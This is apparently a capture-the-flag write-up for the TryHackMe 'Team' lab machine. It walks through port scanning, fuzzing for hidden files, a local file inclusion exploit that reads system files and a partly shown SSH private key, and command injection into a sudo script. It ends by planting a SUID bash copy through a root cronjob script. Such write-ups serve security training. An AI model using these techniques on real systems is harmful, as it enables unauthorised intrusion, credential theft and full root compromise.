THM: Team
Intro⌗
THM: Team is supposed to be aimed at beginners but requires a lot of enumeration and persistence to get through to root. It can feel like there are a lot of rabbit holes getting started, but once we make it through a few rounds of content enumeration we’ll find a hint that leads us to a hidden PHP page where we can exploit an LFI vulnerability. We’ll use that to find FTP credentials and later an SSH key that we can use to get into the box. Finally we’ll escalate our privileges to root by exploiting a command injection vulnerability in a bash script and then adding a malicious command to script running on a cronjob as root.
Recon⌗
We’ll start with a quick stealth scan of the top ports to quickly see what we’re dealing with.
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Team]
└─$ sudo nmap -Pn -T4 -sS -oA nmap_quick 10.10.167.238
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 15.05 seconds
FTP is definitely worth enumerating further, as is HTTP.
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Team]
└─$ sudo rustscan -a 10.10.167.238 -- -sV -oA nmap_full -O
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 61 vsftpd 3.0.3
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.29 ((Ubuntu))
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Crestron XPanel control system (90%), Linux 3.10 - 3.13 (89%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.16 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 2
11 Network Camera (Linux 2.6.17) (87%), Linux 2.6.32 (86%), Linux 3.1 - 3.2 (86%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.91%E=4%D=7/24%OT=21%CT=%CU=%PV=Y%G=N%TM=62DD464C%P=x86_64-pc-linux-gnu)
SEQ(SP=FA%GCD=1%ISR=106%TI=Z%II=I%TS=A)
OPS(O1=M506ST11NW7%O2=M506ST11NW7%O3=M506NNT11NW7%O4=M506ST11NW7%O5=M506ST11NW7%O6=M506ST11)
WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)
ECN(R=Y%DF=Y%TG=40%W=6903%O=M506NNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%TG=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
U1(R=N)
IE(R=Y%DFI=N%TG=40%CD=S)
Uptime guess: 25.778 days (since Tue Jun 28 14:36:03 2022)
TCP Sequence Prediction: Difficulty=250 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
We have a couple possible paths to explore. We’ll definitely want to search for exploits for vsftpd 3.0.3 and check if anonymous access is enabled as well.
A quick glance at the website on port 80 just shows the default Apache page, so let’s kick off a content scan in the background while we enumerate FTP.
┌──(brian㉿kali)-[/usr/share/wordlists/dirb]
└─$ searchsploit vsftpd
--------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------- ---------------------------------
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption | linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1) | windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2) | windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service | linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb
vsftpd 3.0.3 - Remote Denial of Service | multiple/remote/49719.py
--------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Team]
└─$ ftp -v 10.10.167.238
Connected to 10.10.167.238.
220 (vsFTPd 3.0.3)
Name (10.10.167.238:brian): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
Hmm.. we don’t want to launch a denial of service, anonymous access is not allowed, and after running content scans with 4 different wordlists (not shown here), no files or directories have shown up at all.
However if we view the source of the Apache page there is a clue.
<title>Apache2 Ubuntu Default Page: It works! If you see this add 'team.thm' to your hosts!</title>
So we need to add the target IP to our /etc/hosts
file and point it to the team.thm
domain.
Once we do that we are able to see a website:
We can scan this domain now and hope for more interesting findings this time.
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Team]
└─$ ffuf -t 80 -u http://team.thm/FUZZ -w /usr/share/wordlists/dirb/big.txt
.htaccess [Status: 403, Size: 273, Words: 20, Lines: 10]
.htpasswd [Status: 403, Size: 273, Words: 20, Lines: 10]
assets [Status: 301, Size: 305, Words: 20, Lines: 10]
images [Status: 301, Size: 305, Words: 20, Lines: 10]
robots.txt [Status: 200, Size: 5, Words: 1, Lines: 2]
scripts [Status: 301, Size: 306, Words: 20, Lines: 10]
server-status [Status: 403, Size: 273, Words: 20, Lines: 10]
:: Progress: [20469/20469] :: Job [1/1] :: 365 req/sec :: Duration: [0:01:00] :: Errors: 0 ::
There is a robots.txt
file that just contains the value “dale”. Could be a username?
The /scripts
directory could be interesting. Directory index pages appear to be disabled but we can try fuzzing that directory.
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Team]
└─$ ffuf -t 100 -u http://team.thm/scripts/FUZZ -w /usr/share/wordlists/dirb/big.txt -e .php,.html,.txt
script.txt [Status: 200, Size: 597, Words: 52, Lines: 22]
We have a script a text file containing a bash script at /scripts/script.txt
.
#!/bin/bash
read -p "Enter Username: " REDACTED
read -sp "Enter Username Password: " REDACTED
echo
ftp_server="localhost"
ftp_username="$Username"
ftp_password="$Password"
mkdir /home/username/linux/source_folder
source_folder="/home/username/source_folder/"
cp -avr config* $source_folder
dest_folder="/home/username/linux/dest_folder/"
ftp -in $ftp_server <<END_SCRIPT
quote USER $ftp_username
quote PASS $decrypt
cd $source_folder
!cd $dest_folder
mget -R *
quit
# Updated version of the script
# Note to self had to change the extension of the old "script" in this folder, as it has creds in
In the comment at the bottom we’re given another hint that there exists an old version of this script that contains FTP credentials. So we can fuzz with an extensions wordlist to find it.
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Team]
└─$ ffuf -t 80 -u http://team.thm/scripts/scriptFUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-extensions.txt
.txt [Status: 200, Size: 597, Words: 52, Lines: 22]
.old [Status: 200, Size: 466, Words: 27, Lines: 19]
.phps [Status: 403, Size: 273, Words: 20, Lines: 10]
We got a 200 response with the .old
extension so we can curl -i http://team.thm/scripts/script.old
to read it.
#!/bin/bash
read -p "Enter Username: " ftpuser
read -sp "Enter Username Password: " REDACTED
echo
ftp_server="localhost"
ftp_username="$Username"
ftp_password="$Password"
mkdir /home/username/linux/source_folder
source_folder="/home/username/source_folder/"
cp -avr config* $source_folder
dest_folder="/home/username/linux/dest_folder/"
ftp -in $ftp_server <<END_SCRIPT
quote USER $ftp_username
quote PASS $decrypt
cd $source_folder
!cd $dest_folder
mget -R *
quit
Now we can explore the FTP service with these credentials.
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Team]
└─$ ftp -v team.thm
Connected to team.thm.
220 (vsFTPd 3.0.3)
Name (team.thm:brian): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxr-x 2 65534 65534 4096 Jan 15 2021 workshare
226 Directory send OK.
ftp> cd workshare
250 Directory successfully changed.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxr-xr-x 1 1002 1002 269 Jan 15 2021 New_site.txt
226 Directory send OK.
ftp> get New_site.txt -
remote: New_site.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for New_site.txt (269 bytes).
Dale
I have started coding a new website in PHP for the team to use, this is currently under development. It can be
found at ".dev" within our domain.
Also as per the team policy please make a copy of your "id_rsa" and place this in the relevent config file.
Gyles
226 Transfer complete.
269 bytes received in 0.00 secs (12.8269 MB/s)
We’ve found a message from Gyles to Dale with some good info. He notes there is a new PHP version of their site under development at “.dev” within their domain, so let’s try adding dev.team.thm
to our /etc/hosts
and see if we can access it.
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Team]
└─$ curl http://dev.team.thm/
<html>
<head>
<title>UNDER DEVELOPMENT</title>
</head>
<body>
Site is being built<a href=script.php?page=teamshare.php </a>
<p>Place holder link to team share</p>
</body>
</html>
It works! It’s a mostly blank page with a link to http://dev.team.thm/script.php?page=teamshare.php
We definitely want to test for a local file inclusion bug there by replacing the value of the page
parameter to another file path.
And we have LFI!
Foothold⌗
In the note to Dale, Gyles also instructed Dale to make a copy of his id_rsa
file and place it in the relevant config file so let’s look around and see if we can find it and gain SSH access.
We can use an LFI wordlist to fuzz for readable files with ffuf
(or your favorite fuzzer). To make the results more useful we can filter out any requests with a filesize of 167
bytes, which is the size of the response with an empty body.
We can also use the -replay-proxy
parameter to send our results to Burp and examine any hits we find.
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Team]
└─$ ffuf -t 100 -u http://dev.team.thm/script.php\?page=FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -fs 167 -replay-proxy http://127.0.0.1:8080 -c -ac
________________________________________________
:: Method : GET
:: URL : http://dev.team.thm/script.php?page=FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
:: Follow redirects : false
:: Calibration : true
:: ReplayProxy : http://127.0.0.1:8080
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response size: 167,1
:: Filter : Response words: 1
:: Filter : Response lines: 2
________________________________________________
/etc/hosts.allow [Status: 200, Size: 412, Words: 82, Lines: 12]
/proc/meminfo [Status: 200, Size: 1308, Words: 465, Lines: 49]
/proc/modules [Status: 200, Size: 4650, Words: 411, Lines: 84]
/etc/hosts [Status: 200, Size: 185, Words: 19, Lines: 9]
/proc/ioports [Status: 200, Size: 1007, Words: 193, Lines: 43]
/proc/swaps [Status: 200, Size: 100, Words: 32, Lines: 4]
/proc/mounts [Status: 200, Size: 2457, Words: 166, Lines: 35]
/proc/stat [Status: 200, Size: 2138, Words: 991, Lines: 11]
/etc/passwd [Status: 200, Size: 1698, Words: 10, Lines: 35]
/etc/hosts.deny [Status: 200, Size: 712, Words: 128, Lines: 19]
/etc/issue [Status: 200, Size: 25, Words: 5, Lines: 4]
/proc/cpuinfo [Status: 200, Size: 901, Words: 114, Lines: 29]
/etc/crontab [Status: 200, Size: 721, Words: 103, Lines: 16]
/proc/interrupts [Status: 200, Size: 1774, Words: 697, Lines: 42]
/etc/apache2/apache2.conf [Status: 200, Size: 7313, Words: 944, Lines: 231]
/etc/resolv.conf [Status: 200, Size: 736, Words: 97, Lines: 20]
/proc/version [Status: 200, Size: 147, Words: 17, Lines: 3]
/proc/self/net/arp [Status: 200, Size: 157, Words: 79, Lines: 4]
/var/log/dpkg.log [Status: 200, Size: 364050, Words: 26592, Lines: 5333]
/etc/profile [Status: 200, Size: 582, Words: 145, Lines: 29]
/etc/lsb-release [Status: 200, Size: 104, Words: 3, Lines: 6]
/etc/network/interfaces [Status: 200, Size: 91, Words: 13, Lines: 6]
/etc/fstab [Status: 200, Size: 424, Words: 62, Lines: 11]
/etc/mtab [Status: 200, Size: 2457, Words: 166, Lines: 35]
/var/log/lastlog [Status: 200, Size: 292877, Words: 4, Lines: 6]
/etc/passwd [Status: 200, Size: 1698, Words: 10, Lines: 35]
/etc/networks [Status: 200, Size: 92, Words: 11, Lines: 4]
/etc/ssh/sshd_config [Status: 200, Size: 5990, Words: 303, Lines: 170]
/etc/vsftpd.conf [Status: 200, Size: 5937, Words: 806, Lines: 161]
/etc/ssh/ssh_config [Status: 200, Size: 1581, Words: 248, Lines: 53]
:: Progress: [257/257] :: Job [1/1] :: 133 req/sec :: Duration: [0:00:16] :: Errors: 0 ::
There’s lots to look through here but /etc/ssh/sshd_config
is the jackpot. At the very bottom it contains Dale’s private SSH key.
# $OpenBSD: sshd_config,v 1.101 2017/03/14 07:19:07 djm Exp $
# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.
# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin
# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the
# default value.
...snipped...
#Dale id_rsa
#-----BEGIN OPENSSH PRIVATE KEY-----
#b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
#NhAAAAAwEAAQAAAYEAng6KMTH3zm+6rqeQzn5HLBjgruB9k2rX/XdzCr6jvdFLJ+uH4ZVE
#NUkbi5WUOdR4ock4dFjk03X1bDshaisAFRJJkgUq1+zNJ+p96ZIEKtm93aYy3+YggliN/W
#oG+RPqP8P6/uflU0ftxkHE54H1Ll03HbN+0H4JM/InXvuz4U9Df09m99JYi6DVw5XGsaWK
...REDACTED...
#2BRGRg22JACuTYdMFONgWo4on+ptEFPtLA3Ik0DnPqf9KGinc+j6jSYvBdHhvjZleOMMIH
#8kUREDVyzgbpzIlJ5yyawaSjayM+BpYCAuIdI9FHyWAlersYc6ZofLGjbBc3Ay1IoPuOqX
#b1wrZt/BTpIg+d+Fc5/W/k7/9abnt3OBQBf08EwDHcJhSo+4J4TFGIJdMFydxFFr7AyVY7
#CPFMeoYeUdghftAAAAE3A0aW50LXA0cnJvdEBwYXJyb3QBAgMEBQYH
#-----END OPENSSH PRIVATE KEY-----
We can copy that key and paste it into a new file via vim
. Then we’ll need to hit :
to enter vim’s command mode and run %s/\#//g
to strip out all of the hash symbols. After that we just need to update the permissions on the file with chmod 400 dale_id_rsa
and then we can connect.
┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Team]
└─$ ssh -i dale_id_rsa dale@team.thm
Last login: Sun Jul 24 18:41:46 2022 from 10.13.17.127
dale@TEAM:~$ id
uid=1000(dale) gid=1000(dale) groups=1000(dale),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd),113(lpadmin),114(sambashare),1003(editors)
dale@TEAM:~$ ls -al
total 44
drwxr-xr-x 6 dale dale 4096 Jan 15 2021 .
drwxr-xr-x 5 root root 4096 Jan 15 2021 ..
-rw------- 1 dale dale 2554 Jul 24 18:43 .bash_history
-rw-r--r-- 1 dale dale 220 Jan 15 2021 .bash_logout
-rw-r--r-- 1 dale dale 3771 Jan 15 2021 .bashrc
drwx------ 2 dale dale 4096 Jan 15 2021 .cache
drwx------ 3 dale dale 4096 Jan 15 2021 .gnupg
drwxrwxr-x 3 dale dale 4096 Jan 15 2021 .local
-rw-r--r-- 1 dale dale 807 Jan 15 2021 .profile
drwx------ 2 dale dale 4096 Jan 15 2021 .ssh
-rw-r--r-- 1 dale dale 0 Jan 15 2021 .sudo_as_admin_successful
-rw-rw-r-- 1 dale dale 17 Jan 15 2021 user.txt
dale@TEAM:~$ wc -c user.txt
17 user.txt
🏁 And we’ve captured the user flag!
Privilege Escalation⌗
A quick sudo check shows there is a script or binary in Gyles’ home directory named admin_checks
that we can run with sudo privileges as gyles.
dale@TEAM:~$ sudo -l
Matching Defaults entries for dale on TEAM:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User dale may run the following commands on TEAM:
(gyles) NOPASSWD: /home/gyles/admin_checks
Since we have permission to read the file we can open it up and see what exactly it does.
#!/bin/bash
printf "Reading stats.\n"
sleep 1
printf "Reading stats..\n"
sleep 1
read -p "Enter name of person backing up the data: " name
echo $name >> /var/stats/stats.txt
read -p "Enter 'date' to timestamp the file: " error
printf "The Date is "
$error 2>/dev/null
date_save=$(date "+%F-%H-%M")
cp /var/stats/stats.txt /var/stats/stats-$date_save.bak
printf "Stats have been backed up\n"
So it is backing up a stats file. The interesting part here is $error 2>/dev/null
.
The script is taking input from the user and executing it directly. We can abuse this to get a shell as Gyles by entering /bin/bash -p
when it asks for the date.
dale@TEAM:/home/gyles$ sudo -u gyles /home/gyles/admin_checks
Reading stats.
Reading stats..
Enter name of person backing up the data: dale
Enter 'date' to timestamp the file: /bin/bash -p
The Date is id
uid=1001(gyles) gid=1001(gyles) groups=1001(gyles),1003(editors),1004(admin)
There is no prompt but we are in a shell as gyles. We can run python3 -c 'import pty;pty.spawn("/bin/bash")'
to get a better shell with a prompt.
From running id
as gyles we can see he is a member of the admin
group, so let’s search for files and directories they own.
gyles@TEAM:~$ find / -group admin 2>/dev/null
/usr/local/bin
/usr/local/bin/main_backup.sh
/opt/admin_stuff
In /opt/admin_stuff
there is a script.sh
owned by root with a comment noting it runs as a cronjob every minute.
#!/bin/bash
#I have set a cronjob to run this script every minute
dev_site="/usr/local/sbin/dev_backup.sh"
main_site="/usr/local/bin/main_backup.sh"
#Back ups the sites locally
$main_site
$dev_site
This script’s group is also root, so we won’t be able to edit it. But let’s take a look at the other scripts it executes.
gyles@TEAM:/opt/admin_stuff$ cd /usr/local/bin/
gyles@TEAM:/usr/local/bin$ ls -la
total 12
drwxrwxr-x 2 root admin 4096 Jan 17 2021 .
drwxr-xr-x 10 root root 4096 Jan 15 2021 ..
-rwxrwxr-x 1 root admin 65 Jan 17 2021 main_backup.sh
Aha! The main_backup.sh
belongs to the admin
group and the group has write permissions, so we can add some malicious code here that will get executed by root.
gyles@TEAM:/usr/local/bin$ echo "cp /bin/bash /tmp/bash && chmod u+s /tmp/bash" >> main_backup.sh
This command will make a copy of the bash
binary and set the SUID bit so that when it is run, it will run with the privileges of its owner which is root. Now we just have to wait a minute for the cronjob to run again.
gyles@TEAM:/tmp$ ./bash -p
bash-4.4# id
uid=1001(gyles) gid=1001(gyles) euid=0(root) groups=1001(gyles),1003(editors),1004(admin)
bash-4.4# cd /root
bash-4.4# wc -c root.txt
18 root.txt
✅